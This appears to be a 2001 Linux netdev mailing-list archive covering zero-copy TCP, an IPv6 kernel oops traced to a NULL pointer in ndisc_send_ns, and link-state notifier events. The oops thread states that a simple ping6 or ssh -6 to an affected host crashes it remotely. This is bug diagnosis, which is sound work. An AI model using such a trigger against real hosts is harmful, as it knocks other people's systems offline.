majordomo@localhost) by oss.sgi.com (8.11.3/8.11.3) id f44AOVe03418 for netdev-outgoing; Fri, 4 May 2001 03:24:31 -0700 Received: from zero.aec.at (qmailr@zero.aec.at [195.3.98.22]) by oss.sgi.com (8.11.3/8.11.3) with SMTP id f44AOUF03415 for ; Fri, 4 May 2001 03:24:30 -0700 Received: (qmail 22599 invoked by uid 99); 4 May 2001 10:24:12 -0000 Received: from unknown (HELO fred.muc.de) (unknown) by unknown with SMTP; 4 May 2001 10:24:12 -0000 Received: by fred.muc.de (Postfix, from userid 500) id EF7FBE3C87; Wed, 2 May 2001 18:25:39 +0200 (CEST) Date: Wed, 2 May 2001 18:25:39 +0200 From: Andi Kleen To: Ky Srinivasan Cc: netdev@oss.sgi.com Subject: Re: zero copy transport API Message-ID: <20010502182539.A5581@fred.local> References: Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Mailer: Mutt 1.0.1i In-Reply-To: ; from KSRINIVASAN@volera.com on Tue, May 01, 2001 at 07:25:20PM +0200 Sender: owner-netdev@oss.sgi.com Precedence: bulk On Tue, May 01, 2001 at 07:25:20PM +0200, Ky Srinivasan wrote: > I am looking at using the page based API for sending data over TCP/IP. How is the client notified that the data has been sent and acknowledged and it is ok for the client to potentially reuse the memory. My application is an in-kernel application. I had asked this question to Alan and he suggested that I should send this question to you. Please use line breaks when sending mail. tcp_sendpage blocks like normal sendmsg(). You can set O_NONBLOCK if you want non blocking operation, and wait using poll() for new space in the write buffer; but there is no callback per page on free. When it's done with the page its reference count is decreased and when it reached zero it is freed. What you can do is to pass the pages with a reference count > 0, then they won't get freed. This mode supports both sending from a persistent cache and from dynamically generated pages with fresh onetime memory, but you should play nice with the system and use the page allocator instead of using a private pool. -Andi -- Life would be so much easier if we could just look at the source code. From owner-netdev@oss.sgi.com Fri May 4 04:52:54 2001 Received: (from majordomo@localhost) by oss.sgi.com (8.11.3/8.11.3) id f44BqsJ05783 for netdev-outgoing; Fri, 4 May 2001 04:52:54 -0700 Received: from netcore.fi (netcore.fi [193.94.160.1]) by oss.sgi.com (8.11.3/8.11.3) with ESMTP id f44BqrF05777 for ; Fri, 4 May 2001 04:52:53 -0700 Received: from localhost (pekkas@localhost) by netcore.fi (8.11.1/8.11.1) with ESMTP id f44BpP330598; Fri, 4 May 2001 14:51:25 +0300 Date: Fri, 4 May 2001 14:51:25 +0300 (EEST) From: Pekka Savola To: "Maciej 'Agaran' Pijanka" cc: NetDevel List Subject: Re: 2.4.4 & IPv6 oopses In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-netdev@oss.sgi.com Precedence: bulk On Fri, 4 May 2001, Maciej 'Agaran' Pijanka wrote: > im trying to use on one box 2.4.4 and i it crashes very often > i mean i need try to ssh to box, then ifdown eth0;ifup eth0 > to get crash. > anybody found similar problems? Works for me (though in all honesty, running 2.4.3+patches which should equal 2.4.4). These were most probably caused by fixes in ifdown ; ifup behaviour; before, autoconfiguration would fail after ifup as the host didn't rejoin the multicast group. > Arch: i486, Eisa,Scsi,3c59x,no PCI,no IDE,no IPv4 exept lo > and crash is around same place (reproductable) > and sometimes if i dont try to ssh, and play with up/down iface > it crashes too (just need to wait some time) > and again around ndisc/v6/tcp6 (according to start of trace) Supplying a full decoded trace + .config, and the way you got it might help. Does it work if you run 2.4.3? -- Pekka Savola "Tell me of difficulties surmounted, Netcore Oy not those you stumble over and fall" Systems. Networks. Security. -- Robert Jordan: A Crown of Swords From owner-netdev@oss.sgi.com Fri May 4 05:12:14 2001 Received: (from majordomo@localhost) by oss.sgi.com (8.11.3/8.11.3) id f44CCEX06829 for netdev-outgoing; Fri, 4 May 2001 05:12:14 -0700 Received: from kepler.agaran.6bone.pl (pc-00206.run.net.pl [213.25.169.206] (may be forged)) by oss.sgi.com (8.11.3/8.11.3) with ESMTP id f44C8LF06724 for ; Fri, 4 May 2001 05:08:21 -0700 Received: by kepler.agaran.6bone.pl (Postfix+IPv6, from userid 500) id 0E40FC000; Fri, 4 May 2001 14:07:21 +0200 (CEST) Received: from localhost (localhost [127.0.0.1]) by kepler.agaran.6bone.pl (Postfix+IPv6) with ESMTP id EB4C3BFFF; Fri, 4 May 2001 14:07:20 +0200 (CEST) Date: Fri, 4 May 2001 14:07:19 +0200 (CEST) From: "Maciej 'Agaran' Pijanka" To: Pekka Savola Cc: NetDevel List Subject: Re: 2.4.4 & IPv6 oopses In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-netdev@oss.sgi.com Precedence: bulk On Fri, 4 May 2001, Pekka Savola wrote: > On Fri, 4 May 2001, Maciej 'Agaran' Pijanka wrote: > > im trying to use on one box 2.4.4 and i it crashes very often > > i mean i need try to ssh to box, then ifdown eth0;ifup eth0 > > to get crash. > > anybody found similar problems? > > Works for me (though in all honesty, running 2.4.3+patches which should > equal 2.4.4). > > These were most probably caused by fixes in ifdown ; ifup behaviour; > before, autoconfiguration would fail after ifup as the host didn't rejoin > the multicast group. > > > Arch: i486, Eisa,Scsi,3c59x,no PCI,no IDE,no IPv4 exept lo > > and crash is around same place (reproductable) > > and sometimes if i dont try to ssh, and play with up/down iface > > it crashes too (just need to wait some time) > > and again around ndisc/v6/tcp6 (according to start of trace) > > Supplying a full decoded trace + .config, and the way you got it might > help. ok, just one if need more i have some other oops'es (bit different trace call) processed via ksymoops (on second box..copied ksyms,modules) ksymoops 2.3.7 on i486 2.2.19p13-ow1-mda-6. Options used -V (default) -k ksyms (specified) -l modules (specified) -o /lib/modules/2.4.4/ (specified) -m System.map (specified) Oops: 0000 CPU: 0 EIP: 0010:[] Using defaults from ksymoops -t elf32-i386 -a i386 EFLAGS: 00010206 eax: c0dea040 ebx: 00000000 ecx: 00000000 edx: c0c5dc00 esi: 00000000 edi: c0b80174 ebp: c0c5dc00 esp: c0ff5d04 ds: 0018 es: 0018 ss: 0018 Process sshd (pid: 861, stackpage=c0ff5000) Stack: c180dc87 00000000 00000000 c0a126d0 c0b80174 c0b80110 00000018 00000000 c0dea040 00000000 c01aea89 c0a129f0 c0a129f0 00000003 c180e1fd c0c5dc00 00000000 c0b80174 c0ff5d6c 00000000 c0b80110 c0a126d0 c0a126d0 00000000 Call Trace: [] [] [] [] [] [] [] [] [] [] [] [] [] [] [] [] [] [] [] [] [] Code: 8b 11 f6 c2 e0 74 15 89 d0 25 e0 00 00 00 3d e0 00 00 00 74 >>EIP; c1805964 <[ipv6]ipv6_addr_type+4/e0> <===== Trace; c180dc87 <[ipv6]ndisc_send_ns+37/260> Trace; c01aea89 <__kfree_skb+139/140> Trace; c180e1fd <[ipv6]ndisc_solicit+ad/c0> Trace; c01b4545 <__neigh_event_send+65/160> Trace; c01b4b9b Trace; c1803dd6 <[ipv6]ip6_output+146/1a0> Trace; c180410d <[ipv6]ip6_xmit+24d/2c0> Trace; c1817881 <[ipv6]tcp_v6_xmit+121/130> Trace; c01cc17c Trace; c01aff00 Trace; c01ccc38 Trace; c01c366f Trace; c01db1e0 Trace; c013a58d <__pollwait+8d/a0> Trace; c01db219 Trace; c01abb51 Trace; c01db1e0 Trace; c01abd7c Trace; c012c33e Trace; c0106c13 Trace; c010002b Code; c1805964 <[ipv6]ipv6_addr_type+4/e0> 00000000 <_EIP>: Code; c1805964 <[ipv6]ipv6_addr_type+4/e0> <===== 0: 8b 11 mov (%ecx),%edx <===== Code; c1805966 <[ipv6]ipv6_addr_type+6/e0> 2: f6 c2 e0 test $0xe0,%dl Code; c1805969 <[ipv6]ipv6_addr_type+9/e0> 5: 74 15 je 1c <_EIP+0x1c> c1805980 <[ipv6]ipv6_addr_type+20/e0> Code; c180596b <[ipv6]ipv6_addr_type+b/e0> 7: 89 d0 mov %edx,%eax Code; c180596d <[ipv6]ipv6_addr_type+d/e0> 9: 25 e0 00 00 00 and $0xe0,%eax Code; c1805972 <[ipv6]ipv6_addr_type+12/e0> e: 3d e0 00 00 00 cmp $0xe0,%eax Code; c1805977 <[ipv6]ipv6_addr_type+17/e0> 13: 74 00 je 15 <_EIP+0x15> c1805979 <[ipv6]ipv6_addr_type+19/e0> Unable to handle kernel NULL pointer dereference at virtual address 00000000 c1805964 *pde = 00000000 Oops: 0000 CPU: 0 EIP: 0010:[] EFLAGS: 00010206 eax: c0dea040 ebx: 00000000 ecx: 00000000 edx: c0c5dc00 esi: 00000000 edi: c0b80174 ebp: c0c5dc00 esp: c0247eac ds: 0018 es: 0018 ss: 0018 Process swapper (pid: 0, stackpage=c0247000) Stack: c180dc87 00000000 00000000 00000000 c0b80174 c0b80110 00000018 00000000 c0dea040 c0f45400 c0f45400 c02bd800 c018dff5 c02bd800 c180e1fd c0c5dc00 00000000 c0b80174 c0247f14 00000000 00017160 c0b80110 c0b80110 c01b4360 Call Trace: [] [] [] [] [] [] [] [] [] [] [] [] [] [] [] [] [] [] Code: 8b 11 f6 c2 e0 74 15 89 d0 25 e0 00 00 00 3d e0 00 00 00 74 >>EIP; c1805964 <[ipv6]ipv6_addr_type+4/e0> <===== Trace; c180dc87 <[ipv6]ndisc_send_ns+37/260> Trace; c018dff5 Trace; c180e1fd <[ipv6]ndisc_solicit+ad/c0> Trace; c01b4360 Trace; c01b44b8 Trace; c0116724 Trace; c01138eb Trace; c0113818 Trace; c011370e Trace; c0108123 Trace; c0105170 Trace; c0106cd0 Trace; c0105170 Trace; c0100018 Trace; c0105193 Trace; c01051f5 Trace; c0105000 Trace; c0100197 Code; c1805964 <[ipv6]ipv6_addr_type+4/e0> 00000000 <_EIP>: Code; c1805964 <[ipv6]ipv6_addr_type+4/e0> <===== 0: 8b 11 mov (%ecx),%edx <===== Code; c1805966 <[ipv6]ipv6_addr_type+6/e0> 2: f6 c2 e0 test $0xe0,%dl Code; c1805969 <[ipv6]ipv6_addr_type+9/e0> 5: 74 15 je 1c <_EIP+0x1c> c1805980 <[ipv6]ipv6_addr_type+20/e0> Code; c180596b <[ipv6]ipv6_addr_type+b/e0> 7: 89 d0 mov %edx,%eax Code; c180596d <[ipv6]ipv6_addr_type+d/e0> 9: 25 e0 00 00 00 and $0xe0,%eax Code; c1805972 <[ipv6]ipv6_addr_type+12/e0> e: 3d e0 00 00 00 cmp $0xe0,%eax Code; c1805977 <[ipv6]ipv6_addr_type+17/e0> 13: 74 00 je 15 <_EIP+0x15> c1805979 <[ipv6]ipv6_addr_type+19/e0> Kernel panic: Aiee, killing interrupt handler! that is after ifdown eth0;ifup eth0 from ssh over that eth0/v6 that two oopses goes with max 2 seconds delay second after first.. that one is fully reproductable..crashes always after that set of commands > > Does it work if you run 2.4.3? i will try.. ~20h for compile and then i may test... fastest box is 486:> > > -- Maciej 'Agaran' Pijanka MAP2-6BONE i386, Linux 2.2, Pine, Mutt, Slrn, Vi(m), IPv6, Gdb, I do not fear computers. I fear the lack of them. -- Isaac Asimov -- Support your government, give Echelon / Carnivore something to parse -- classified top-secret government jankowski restricted data radio information project alek CIA KGB GRU DoD defense elektryk systems military ksiadz steal systems spy ojciec terrorist Allah Natasha Gregori destroy destruct attack democracy will send Russia bank system compromise international own rule the world force power enforce sensitive directorate STRAP warrior-T presidential elections political foreign embassy takeover -------------------------------------------------------------------------- From owner-netdev@oss.sgi.com Fri May 4 07:46:04 2001 Received: (from majordomo@localhost) by oss.sgi.com (8.11.3/8.11.3) id f44Ek4Y12040 for netdev-outgoing; Fri, 4 May 2001 07:46:04 -0700 Received: from netcore.fi (netcore.fi [193.94.160.1]) by oss.sgi.com (8.11.3/8.11.3) with ESMTP id f44Ek3F12037 for ; Fri, 4 May 2001 07:46:03 -0700 Received: from localhost (pekkas@localhost) by netcore.fi (8.11.1/8.11.1) with ESMTP id f44Ehuc31443; Fri, 4 May 2001 17:43:56 +0300 Date: Fri, 4 May 2001 17:43:56 +0300 (EEST) From: Pekka Savola To: "Maciej 'Agaran' Pijanka" cc: NetDevel List , Subject: Re: 2.4.4 & IPv6 oopses In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-netdev@oss.sgi.com Precedence: bulk On Fri, 4 May 2001, Maciej 'Agaran' Pijanka wrote: > On Fri, 4 May 2001, Pekka Savola wrote: > > > On Fri, 4 May 2001, Maciej 'Agaran' Pijanka wrote: > > > im trying to use on one box 2.4.4 and i it crashes very often > > > i mean i need try to ssh to box, then ifdown eth0;ifup eth0 > > > to get crash. > > > anybody found similar problems? > > > > Works for me (though in all honesty, running 2.4.3+patches which should > > equal 2.4.4). > > > > These were most probably caused by fixes in ifdown ; ifup behaviour; > > before, autoconfiguration would fail after ifup as the host didn't rejoin > > the multicast group. > > > > > Arch: i486, Eisa,Scsi,3c59x,no PCI,no IDE,no IPv4 exept lo > > > and crash is around same place (reproductable) > > > and sometimes if i dont try to ssh, and play with up/down iface > > > it crashes too (just need to wait some time) > > > and again around ndisc/v6/tcp6 (according to start of trace) > > > > Supplying a full decoded trace + .config, and the way you got it might > > help. > ok, just one if need more i have some other oops'es (bit different trace call) > processed via ksymoops (on second box..copied ksyms,modules) The problem appears to be: in ndisc_solicit: struct in6_addr *saddr = NULL; [...] if (skb && ipv6_chk_addr(&skb->nh.ipv6h->saddr, dev)) saddr = &skb->nh.ipv6h->saddr; [...] ndisc_send_ns(dev, neigh, target, target, saddr); [...] This check apparently fails? and saddr is left null. in ndisc_send_ns, NULL saddr is checked: send_llinfo = dev->addr_len && ipv6_addr_type(saddr) != IPV6_ADDR_ANY; which make a null ptr dereference. send_llinfo check was added recently to fix RFC incompliancy a week or so ago. Now I can preproduce this. ping6 target_host_ipv6 will crash the system in a matter of seconds. ssh -6 target_host_ipv6 works too. Etc. -- Pekka Savola "Tell me of difficulties surmounted, Netcore Oy not those you stumble over and fall" Systems. Networks. Security. -- Robert Jordan: A Crown of Swords From owner-netdev@oss.sgi.com Fri May 4 08:13:26 2001 Received: (from majordomo@localhost) by oss.sgi.com (8.11.3/8.11.3) id f44FDQb13339 for netdev-outgoing; Fri, 4 May 2001 08:13:26 -0700 Received: from prv-mail25.provo.novell.com (prv-mail25.provo.novell.com [137.65.81.121]) by oss.sgi.com (8.11.3/8.11.3) with ESMTP id f44FDPF13336 for ; Fri, 4 May 2001 08:13:25 -0700 Received: from INET-PRV1-MTA by prv-mail25.provo.novell.com with Novell_GroupWise; Fri, 04 May 2001 09:13:13 -0600 Message-Id: X-Mailer: Novell GroupWise Internet Agent 6.0 Date: Fri, 04 May 2001 09:13:08 -0600 From: "Ky Srinivasan" To: Cc: Subject: Re: zero copy transport API Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Disposition: inline Content-Transfer-Encoding: 8bit X-MIME-Autoconverted: from quoted-printable to 8bit by oss.sgi.com id f44FDPF13337 Sender: owner-netdev@oss.sgi.com Precedence: bulk Thank you for the prompt response. K. Y. Srinivasan >>> Andi Kleen 05/02/01 12:25PM >>> On Tue, May 01, 2001 at 07:25:20PM +0200, Ky Srinivasan wrote: > I am looking at using the page based API for sending data over TCP/IP. How is the client notified that the data has been sent and acknowledged and it is ok for the client to potentially reuse the memory. My application is an in-kernel application. I had asked this question to Alan and he suggested that I should send this question to you. Please use line breaks when sending mail. tcp_sendpage blocks like normal sendmsg(). You can set O_NONBLOCK if you want non blocking operation, and wait using poll() for new space in the write buffer; but there is no callback per page on free. When it's done with the page its reference count is decreased and when it reached zero it is freed. What you can do is to pass the pages with a reference count > 0, then they won't get freed. This mode supports both sending from a persistent cache and from dynamically generated pages with fresh onetime memory, but you should play nice with the system and use the page allocator instead of using a private pool. -Andi -- Life would be so much easier if we could just look at the source code. From owner-netdev@oss.sgi.com Fri May 4 09:08:13 2001 Received: (from majordomo@localhost) by oss.sgi.com (8.11.3/8.11.3) id f44G8Dv15442 for netdev-outgoing; Fri, 4 May 2001 09:08:13 -0700 Received: from e21.nc.us.ibm.com (e21.nc.us.ibm.com [32.97.136.227]) by oss.sgi.com (8.11.3/8.11.3) with ESMTP id f44G86F15436 for ; Fri, 4 May 2001 09:08:06 -0700 Received: from southrelay02.raleigh.ibm.com (southrelay02.raleigh.ibm.com [9.37.3.209]) by e21.nc.us.ibm.com (8.9.3/8.9.3) with ESMTP id MAA143396; Fri, 4 May 2001 12:02:04 -0500 Received: from d04nm106.raleigh.ibm.com (d04nm106.raleigh.ibm.com [9.67.228.133]) by southrelay02.raleigh.ibm.com (8.11.1/NCO v4.96) with ESMTP id f44G7wa139072; Fri, 4 May 2001 12:07:58 -0400 Importance: Normal Subject: Re: NETDEV_CHANGE events when __LINK_STATE_NOCARRIER is modified To: davem@redhat.com Cc: c729953@vus068.trl.telstra.com.au, netdev@oss.sgi.com From: "Janice Girouard" Date: Fri, 4 May 2001 12:07:56 -0400 Message-ID: X-MIMETrack: Serialize by Router on D04NM106/04/M/IBM(Release 5.0.6 |December 14, 2000) at 05/04/2001 12:07:59 PM MIME-Version: 1.0 Content-type: text/plain; charset=us-ascii Sender: owner-netdev@oss.sgi.com Precedence: bulk When I look at the timer.c code in the tulip directory, I can see that ethernet drivers are already using this flag to show the health of the card. I also see * xircom_cb.c set's this flag to show a link_status_changed. * sis990.c (pci fast ethernet) set's this flag when the link status changes * via-rhine.c set's this flag to indicate link status changes * the device driver for the 4 port serial controller i2o_lan.c sets this initially, however never shows state changes * i2o_lan.c uses this flag uses this flag to indicate if the link is up or down. The error handling of networks cards is exactly the problem I'm trying to solve without having a tulip_timer routine for each driver. __________________________________________________________________ Janice Girouard girouard@us.ibm.com 512-838-7981 ---------------------- Forwarded by Janice Girouard/Austin/IBM on 04/05/2001 10:31 --------------------------- Roger Venning on 04/05/2001 01:07:24 To: "David S. Miller" cc: Janice Girouard/Austin/IBM@IBMUS, netdev@oss.sgi.com Subject: Re: NETDEV_CHANGE events when __LINK_STATE_NOCARRIER is modified On Thu, 3 May 2001, David S. Miller wrote: > > It is not a physical state change. This state bit is meant only as a > hack for the isdn layers dial on demand like functionality. > > This is not the kind of state change the notifier chain listeners are > interested in. It would be meaningless for the notifiers to run > every time I yank my ethernet cable out of the card on my machine :-) (presuming first that these events can be propagated up to user space through some kind of listen on a socket style API, something that I don't think is possible _yet_) I beg to differ a little. Considering the case with the machine has multiple network interfaces, and a mobile IP (RFC2002 and friends) capability, this kind of notification is crucial to smoothly transferring traffic onto other available interfaces (think mobile pda with ethernet & wide area cellular data). This is just one instance of 'middleware' style applications that would prefer not to poll this kind of state. Roger. > > Later, > David S. Miller > davem@redhat.com > -- Roger Venning - Technologist - Telstra Research Laboratories For a successful technology, reality must take precedence over public relations, for Nature cannot be fooled. Richard Feynman From owner-netdev@oss.sgi.com Fri May 4 10:21:24 2001 Received: (from majordomo@localhost) by oss.sgi.com (8.11.3/8.11.3) id f44HLOC17549 for netdev-outgoing; Fri, 4 May 2001 10:21:24 -0700 Received: from mta1.snfc21.pbi.net (mta1.snfc21.pbi.net [206.13.28.122]) by oss.sgi.com (8.11.3/8.11.3) with ESMTP id f44HLMF17546 for ; Fri, 4 May 2001 10:21:23 -0700 Received: from krypton ([206.170.7.121]) by mta1.snfc21.pbi.net (Sun Internet Mail Server sims.3.5.2000.01.05.12.18.p9) with SMTP id <0GCT006Q5MTA8H@mta1.snfc21.pbi.net> for netdev@oss.sgi.com; Fri, 4 May 2001 10:20:00 -0700 (PDT) Date: Fri, 04 May 2001 10:19:38 -0700 From: David Brownell Subject: Re: NETDEV_CHANGE events when __LINK_STATE_NOCARRIER is modified To: Janice Girouard , davem@redhat.com Cc: c729953@vus068.trl.telstra.com.au, netdev@oss.sgi.com Message-id: <0a2f01c0d4be$66f6d0e0$6800000a@brownell.org> MIME-version: 1.0 X-Mailer: Microsoft Outlook Express 5.50.4133.2400 Content-type: text/plain; charset="iso-8859-1" Content-transfer-encoding: 7bit X-MSMail-Priority: Normal X-MIMEOLE: Produced By Microsoft MimeOLE V5.50.4133.2400 References: X-Priority: 3 Sender: owner-netdev@oss.sgi.com Precedence: bulk Consider these states, which most network drivers go through in about this order (if they distinguish them): (a) network interface (hardware) is present (b) interface is registered (c) hardware is connected/usable (say, carrier present) (d) interface is "up" I've noticed two issues automating transitions between these states, such as by network hotplugging through user mode policy agents. Maybe someone has clean solutions in the current 2.4 code; I've assumed these are 2.5 issues: - Some hardware, such as USB-to-USB bridges (in the "usbnet" driver, 2.4.*-ac series), most naturally want to trigger hotplugging when entering state (c), rather than state (b) ... gotta look at the host on the other side and see what it says, before a user mode policy agent can go to (d) via static config, DHCP, or whatever. ISSUE: there's no event to report there! - Some types of interface (at least ppp, ippp, isdn, plip, lo ...) seem to enter (d) before (b). ISSUE: the network hotplug agents needed to special case those not to "ifup" on registration. It's not clear to me that there is a single state model that all network drivers follow. Or: if there is one, it may be likely that the events reported for hotplug are the wrong ones. But it does seem to me that transitions to state (c) above are problematic just now. - Dave ----- Original Message ----- From: "Janice Girouard" To: Cc: ; Sent: Friday, May 04, 2001 9:07 AM Subject: Re: NETDEV_CHANGE events when __LINK_STATE_NOCARRIER is modified > When I look at the timer.c code in the tulip directory, > I can see that ethernet drivers are already using this flag > to show the health of the card. > > I also see > * xircom_cb.c set's this flag to show a link_status_changed. > * sis990.c (pci fast ethernet) set's this flag when the > link status changes > * via-rhine.c set's this flag to indicate link status changes > * the device driver for the 4 port serial controller i2o_lan.c sets > this initially, however never shows state changes > * i2o_lan.c uses this flag uses this flag to indicate if the > link is up or down. > > The error handling of networks cards is exactly the problem I'm > trying to solve without having a tulip_timer routine for each driver. > > > __________________________________________________________________ > Janice Girouard > girouard@us.ibm.com > 512-838-7981 > > > ---------------------- Forwarded by Janice Girouard/Austin/IBM on > 04/05/2001 10:31 --------------------------- > > Roger Venning on 04/05/2001 01:07:24 > > To: "David S. Miller" > cc: Janice Girouard/Austin/IBM@IBMUS, netdev@oss.sgi.com > Subject: Re: NETDEV_CHANGE events when __LINK_STATE_NOCARRIER is modified > > > > On Thu, 3 May 2001, David S. Miller wrote: > > > > > > It is not a physical state change. This state bit is meant only as a > > hack for the isdn layers dial on demand like functionality. > > > > This is not the kind of state change the notifier chain listeners are > > interested in. It would be meaningless for the notifiers to run > > every time I yank my ethernet cable out of the card on my machine :-) > > (presuming first that these events can be propagated up to user space > through some kind of listen on a socket style API, something that I don't > think is possible _yet_) > > I beg to differ a little. Considering the case with the machine has > multiple network interfaces, and a mobile IP (RFC2002 and > friends) capability, this kind of notification is crucial to smoothly > transferring traffic onto other available interfaces (think mobile pda > with ethernet & wide area cellular data). This is just one instance of > 'middleware' style applications that would prefer not to poll this kind of > state. > > Roger. > > > > > Later, > > David S. Miller > > davem@redhat.com > > > > -- > Roger Venning - Technologist - Telstra Research Laboratories > > For a successful technology, reality must take > precedence over public relations, for Nature > cannot be fooled. Richard Feynman > > > > From owner-netdev@oss.sgi.com Fri May 4 11:45:19 2001 Received: (from majordomo@localhost) by oss.sgi.com (8.11.3/8.11.3) id f44IjJf19938 for netdev-outgoing; Fri, 4 May 2001 11:45:19 -0700 Received: from zero.aec.at (qmailr@zero.aec.at [195.3.98.22]) by oss.sgi.com (8.11.3/8.11.3) with SMTP id f44IjHF19935 for ; Fri, 4 May 2001 11:45:17 -0700 Received: (qmail 24191 invoked by uid 99); 4 May 2001 18:45:15 -0000 Received: from unknown (HELO fred.muc.de) (unknown) by unknown with SMTP; 4 May 2001 18:45:15 -0000 Received: by fred.muc.de (Postfix, from userid 500) id 1898AE3C87; Fri, 4 May 2001 20:17:02 +0200 (CEST) Date: Fri, 4 May 2001 20:17:02 +0200 From: Andi Kleen To: "David S. Miller" Cc: Janice Girouard , netdev@oss.sgi.com Subject: Re: NETDEV_CHANGE events when __LINK_STATE_NOCARRIER is modified Message-ID: <20010504201702.A1011@fred.local> References: <15089.61808.45075.22401@pizda.ninka.net> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Mailer: Mutt 1.0.1i In-Reply-To: <15089.61808.45075.22401@pizda.ninka.net>; from davem@redhat.com on Fri, May 04, 2001 at 02:01:52AM +0200 Sender: owner-netdev@oss.sgi.com Precedence: bulk On Fri, May 04, 2001 at 02:01:52AM +0200, David S. Miller wrote: > > Janice Girouard writes: > > The last netdev_state_t flag is managed by the routines > > netif_carrier_on(...*dev) and netif_carrier_off(...*dev). These are macros > > defined in netdevice.h . For some reason, these macros do not send a > > notifier_call_chain(....NETDEV_CHANGE,dev) event (or any NETDEV event). > > Is there a reason for this? It seems important to know if the line > > is known to be functional. The netif_carrier_on/off routines are > > relatively new. Is it possible that this is an oversight? It seems > > like this macro might call netdev_state_change in dev.c, since this > > routine is "Called to indicate a device has changed state". > > It is not a physical state change. This state bit is meant only as a > hack for the isdn layers dial on demand like functionality. > > This is not the kind of state change the notifier chain listeners are > interested in. It would be meaningless for the notifiers to run > every time I yank my ethernet cable out of the card on my machine :-) Not the current ones. It would be useful in some cases to trigger a TCP retransmit though. This is needed for good behaviour on dynamic IP addresses with the ip_dynaddr hack. ip_dynaddr can only rewrite the socket from the dummy dialdevice address to the real dynamic address when it gets a retransmit from transport layer. When IFF_DYNAMIC is set it makes sense to have a notifier in TCP listen to it and call tcp_simple_retransmit(). [implementing this is on my todo list and I hopefully will get to it soon...] -Andi From owner-netdev@oss.sgi.com Fri May 4 12:12:36 2001 Received: (from majordomo@localhost) by oss.sgi.com (8.11.3/8.11.3) id f44JCac21146 for netdev-outgoing; Fri, 4 May 2001 12:12:36 -0700 Received: from havoc.gtf.org (IDENT:postfix@panic.ohr.gatech.edu [130.207.47.194]) by oss.sgi.com (8.11.3/8.11.3) with ESMTP id f44JCZF21143 for ; Fri, 4 May 2001 12:12:36 -0700 Received: from mandrakesoft.com (adsl-20-73-169.asm.bellsouth.net [66.20.73.169]) by havoc.gtf.org (Postfix) with ESMTP id 0E77F1F67; Fri, 4 May 2001 15:12:34 -0400 (EDT) Message-ID: <3AF2FF16.1AB322B2@mandrakesoft.com> Date: Fri, 04 May 2001 15:12:22 -0400 From: Jeff Garzik Organization: MandrakeSoft X-Mailer: Mozilla 4.77 [en] (X11; U; Linux 2.4.4 i686) X-Accept-Language: en MIME-Version: 1.0 To: Janice Girouard Cc: davem@redhat.com, c729953@vus068.trl.telstra.com.au, netdev@oss.sgi.com Subject: Re: NETDEV_CHANGE events when __LINK_STATE_NOCARRIER is modified References: Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-netdev@oss.sgi.com Precedence: bulk Janice Girouard wrote: > > When I look at the timer.c code in the tulip directory, > I can see that ethernet drivers are already using this flag > to show the health of the card. > > I also see > * xircom_cb.c set's this flag to show a link_status_changed. > > * sis990.c (pci fast ethernet) set's this flag when the > link status changes > * via-rhine.c set's this flag to indicate link status changes I either implemented these or suggested implementation to the driver authors... Alexey implemented netif_carrier_foo for tulip. I didn't put it into other drivers when someone (at the Summit?) pointed out that netif_carrier_foo doesn't actually do anything. > The error handling of networks cards is exactly the problem I'm > trying to solve without having a tulip_timer routine for each driver. That's the suggested direction for 2.5 - make DaveM's link state machine (which includes a timer) generic, and use it in other ethernet drivers. -- Jeff Garzik | Game called on account of naked chick Building 1024 | MandrakeSoft | From owner-netdev@oss.sgi.com Fri May 4 12:15:20 2001 Received: (from majordomo@localhost) by oss.sgi.com (8.11.3/8.11.3) id f44JFKF21551 for netdev-outgoing; Fri, 4 May 2001 12:15:20 -0700 Received: from e23.nc.us.ibm.com (e23.nc.us.ibm.com [32.97.136.229]) by oss.sgi.com (8.11.3/8.11.3) with ESMTP id f44JFIF21545 for ; Fri, 4 May 2001 12:15:18 -0700 Received: from southrelay02.raleigh.ibm.com (southrelay02.raleigh.ibm.com [9.37.3.209]) by e23.nc.us.ibm.com (8.9.3/8.9.3) with ESMTP id PAA10006; Fri, 4 May 2001 15:06:42 -0500 Received: from d04nm106.raleigh.ibm.com (d04nm106.raleigh.ibm.com [9.67.228.133]) by southrelay02.raleigh.ibm.com (8.11.1/NCO v4.96) with ESMTP id f44JFDa74194; Fri, 4 May 2001 15:15:14 -0400 Importance: Normal Subject: Re: NETDEV_CHANGE events when __LINK_STATE_NOCARRIER is modified To: David Brownell Cc: davem@redhat.com, c729953@vus068.trl.telstra.com.au, netdev@oss.sgi.com From: "Janice Girouard" Date: Fri, 4 May 2001 15:15:12 -0400 Message-ID: X-MIMETrack: Serialize by Router on D04NM106/04/M/IBM(Release 5.0.6 |December 14, 2000) at 05/04/2001 03:15:14 PM MIME-Version: 1.0 Content-type: text/plain; charset=us-ascii Sender: owner-netdev@oss.sgi.com Precedence: bulk I'm not sure I understand your comment. When you say "But it does seem to me that transitions to state (c) above are problematic just now." are you saying you don't think that we are currently able to mark transitions to state (c). Or are you saying that we will never be able to mark transitions to state (c). I do think it's rather hit and miss right now. But, it seems like this problem could be solved. Janice __________________________________________________________________ Janice Girouard girouard@us.ibm.com 512-838-7981 David Brownell on 04/05/2001 12:19:38 To: Janice Girouard/Austin/IBM@IBMUS, davem@redhat.com cc: c729953@vus068.trl.telstra.com.au, netdev@oss.sgi.com Subject: Re: NETDEV_CHANGE events when __LINK_STATE_NOCARRIER is modified Consider these states, which most network drivers go through in about this order (if they distinguish them): (a) network interface (hardware) is present (b) interface is registered (c) hardware is connected/usable (say, carrier present) (d) interface is "up" I've noticed two issues automating transitions between these states, such as by network hotplugging through user mode policy agents. Maybe someone has clean solutions in the current 2.4 code; I've assumed these are 2.5 issues: - Some hardware, such as USB-to-USB bridges (in the "usbnet" driver, 2.4.*-ac series), most naturally want to trigger hotplugging when entering state (c), rather than state (b) ... gotta look at the host on the other side and see what it says, before a user mode policy agent can go to (d) via static config, DHCP, or whatever. ISSUE: there's no event to report there! - Some types of interface (at least ppp, ippp, isdn, plip, lo ...) seem to enter (d) before (b). ISSUE: the network hotplug 